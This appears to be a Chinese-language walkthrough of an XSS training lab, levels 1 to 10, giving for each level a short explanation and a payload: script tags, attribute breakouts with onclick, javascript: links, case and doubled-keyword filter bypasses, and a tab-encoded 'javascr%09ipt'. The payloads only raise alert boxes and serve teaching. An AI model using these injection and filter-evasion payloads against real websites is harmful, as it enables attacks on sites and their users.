XSS闯关挑战1-10

1

观察页面,发现页面没什么可利用的漏洞

但是url是?传参的类型,可以试试有没有xss漏洞

<script>alert(/xss/)</script>

2

输入1的脚本发现没效果,看一下源代码,发现传入到value后是变成了字符串的形式,咱们就让他不是字符串

<input name=keyword  value="  "><script>alert(/xss/)</script>"  ">

3

可以看到尖括号被过滤了

我们可以试试其他的可以弹出提示框的事件

'  onclick='alert(/xss/)

还有以下常用事件

mouseup  鼠标释放时触发
mousedown  鼠标按下时触发
mousemove   鼠标移动时触发
mouseout     鼠标离开时触发

4

过滤掉尖括号,以及用字符串

"  onclick="alert(/xss/)

5

发现他过滤了事件,且大写也不行

我们可以用链接

"> <a href = 'javascript:alert(/xss/)'>click me</a>"

6

用大写

"> <a HREF = 'javascript:alert(/xss/)'>click me</a>"

7

过滤掉了href和script

"><scrscriptipt>alert(/xss/)</scrscriptipt>"

8

想办法绕过

这里用制表符将script隔开

javascr%09ipt:alert(/xss/)

9

提示连接不合法

在输入中输入url

javascr%09ipt:alert('http://www.qq.com')

10

有三个input,试着传参

只有t_sort可以传参

发现输入事件无响应

试着加个按钮,成功了

t_sort=dd" type="button" onclick="alert(/xss/)
相关推荐
Hacker_Nightrain1 小时前
内网网络安全的解决之道
安全·web安全·php
EasyNVR1 小时前
基于WebRTC与AI大模型接入EasyRTC:打造轻量级、高实时、强互动的嵌入式音视频解决方案
运维·服务器·微信·小程序·webrtc·p2p·智能硬件
Dawndddddd1 小时前
网络安全之攻防笔记--通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
笔记·sql·安全·web安全
技术小齐1 小时前
网络运维学习笔记 022 HCIA-Datacom新增知识点03园区网典型组网架构及案例实战
运维·网络·学习
Java潘老师2 小时前
Automa 浏览器自动化编排 实现自动化浏览器操作
运维·自动化
waves浪游2 小时前
Linux基本指令(上)
linux·运维·服务器
黄卷青灯772 小时前
抓包工具 wireshark
网络·测试工具·wireshark
是北欢吆3 小时前
QQ登录测试用例报告
运维·服务器·测试用例
LUCIAZZZ3 小时前
Https解决了Http的哪些问题
java·网络·网络协议·spring·http·rpc·https
、BeYourself3 小时前
计算机网络常考大题
网络